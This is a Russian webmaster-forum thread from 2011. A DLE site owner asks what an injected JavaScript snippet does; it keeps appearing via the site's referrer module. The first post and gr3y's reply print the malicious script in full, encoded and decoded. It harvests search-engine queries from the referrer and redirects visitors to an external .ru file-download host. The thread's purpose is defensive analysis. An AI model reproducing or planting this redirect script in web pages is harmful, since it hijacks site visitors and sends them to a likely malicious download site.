X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Знатоки хакинга, помогите, Проблемма с ДЛЕ
elvis81
elvis81
Topic Starter сообщение 30.5.2011, 23:03; Ответить: elvis81
Сообщение #1


Познающий
******

Группа: Active User
Сообщений: 1240
Регистрация: 5.8.2008
Из: дом
Поблагодарили: 222 раза
Репутация:   34  


Всем доброго времени суток.

Назрела проблемма. Сайт ДЛЕ с модулем реферер.
Постоянно появляется запрос в рефералах с монтированным javascript кодом.
После перехода по ссылке в js и просмотра страницы выдает вот такой код.
if(dle_admin == '' || dle_login_hash == ''){document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3Esp_redirect%20%3D%20%7B%7D%3Bsp_redirect.searchers%20%3D%20%5B%20%5B/google%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.yahoo%5C./i%2C%20/%28%5C%3F%7C%26%29p%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/bing%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.aol%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/ask%5C.com/i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/altavista%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/search%5C.lycos%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/alltheweb%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/yandex%5C./i%2C%20/%28%5C%3F%7C%26%29text%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/%28nova%5C.%7Csearch%5C.%29%3Frambler%5C./i%2C%20/%28%5C%3F%7C%26%29query%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/gogo%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/go%5C.mail%5C./i%2C%20/%28%5C%3F%7C%26%29q%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%2C%20%5B/nigma%5C./i%2C%20/%28%5C%3F%7C%26%29s%3D%28.*%3F%29%28%26%7C%24%29/i%2C%202%5D%5D%3Bsp_redirect.sp_redirect%20%3D%20function%28referer%29%20%7B%20var%20query%3Dnull%3B%20for%28var%20i%3D0%3B%20i%3Csp_redirect.searchers.length%3B%20i++%29%20%7B%20%20var%20se%20%3D%20sp_redirect.searchers%5Bi%5D%3B%20%20if%20%28referer.match%28se%5B0%5D%29%29%20%7B%20%20%20query%20%3D%20referer.match%28se%5B1%5D%29%5Bse%5B2%5D%5D%3B%20%20%20break%3B%20%20%7D%20%7D%20if%28query%20%21%3D%20null%29%20%7B%20document.location.href%3D%27http%3A//rapidaload2files.filedownloadmoment.ru/%27+%27%3Fwkey%3D536758%27+%27%27+%28query%3F%20%27%26query%3D%27+query%20%3A%20%27%27%29%3B%7D%20%7D%3Bsp_redirect.sp_redirect%28document.referrer%29%3B%3C/script%3E"));}


Что он означает? Очень хотелось бы знать. Если знаете, то объясните мне пожалуйста.


--------------------
ТИц поднимают, поднималкой для ТИца
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
MacLeo
MacLeo
сообщение 30.5.2011, 23:07; Ответить: MacLeo
Сообщение #2


тИЦ`анутый
******

Группа: Active User
Сообщений: 1126
Регистрация: 1.6.2010
Поблагодарили: 316 раз
Репутация:   49  


elvis81, Если реферер это переходы, то вот почитайте, там и исправление есть


--------------------
SEO аудиты | Сайты под ключ | Верстка | Продвижение | Web дизайн и наружная реклама


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PHPLance
PHPLance
сообщение 31.5.2011, 8:35; Ответить: PHPLance
Сообщение #3


Новичок
*

Группа: User
Сообщений: 34
Регистрация: 26.5.2011
Поблагодарили: 19 раз
Репутация:   3  


Чтобы вытянуть сам скрипт оттуда - можно заменить "document.write" на "alert" - он и будет отображён во всплывающем окне.
При определённых условиях скрипт редиректит на сайт: _rapidaload2files.filedow***nt.ru. Зачем - фиг знает, что это там за ресурс smile.gif)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
helloff
helloff
сообщение 31.5.2011, 8:47; Ответить: helloff
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 1297
Регистрация: 14.4.2009
Из: Краснодара
Поблагодарили: 198 раз
Репутация:   50  


Млять, спойлер когда юзать будем?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
gr3y
gr3y
сообщение 31.5.2011, 11:49; Ответить: gr3y
Сообщение #5


Участник
***

Группа: User
Сообщений: 104
Регистрация: 30.6.2010
Из: Хабаровск
Поблагодарили: 31 раз
Репутация:   5  


<script type="text/javascript">
sp_redirect = {};
sp_redirect.searchers =
  [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2],
  [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
  [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2],
  [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2],
  [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2],
  [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];

sp_redirect.sp_redirect = function(referer) {
  var query=null;
  for(var i=0; i<sp_redirect.searchers.length; i  ) {
    var se = sp_redirect.searchers[i];
    if (referer.match(se[0])) {
      query = referer.match(se[1])[se[2]];
      break;
      }
    }
    if(query != null) {
      document.location.href='http://rapidaload2files.filedownloadmoment.ru/' '?wkey=536758' '' (query? '&query=' query : '');
    }
};
sp_redirect.sp_redirect(document.referrer);
</script>

Штука собирает параметры запроса к поисковикам из рефереров, если страница была открыта из поисковика и передаёт эти параметры на некий http://rapidaload2files.file****loadmoment.ru/

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) 5 крауд-ссылок с трастового ресурса Яндекс.Знатоки за 500руб
13 yulbee 1381 25.5.2018, 15:44
автор: yulbee
Горячая тема (нет новых ответов) Помогите, пожалуйста, моей дочери выжить!
благотворительный топик
30 vitvirtual 3816 19.5.2018, 8:30
автор: vitvirtual
Открытая тема (нет новых ответов) Продвигаю страницу по запросу "Как сделать игру". Помогите советом, пожалуйста
Я секу в теме! Но подать статью угодным поисковикам образом не смо
22 coremission 2216 8.5.2018, 12:33
автор: coremission
Открытая тема (нет новых ответов) Помогите с выбором ноута
20 rokot 920 23.4.2018, 12:09
автор: Room
Открытая тема (нет новых ответов) Я.Знатоки - конкурент Ответам@mail.ru
dos1k.ru - Seo блог
2 dos1k 740 12.4.2018, 14:07
автор: loginmain


 



RSS Текстовая версия Сейчас: 28.5.2018, 2:20
Дизайн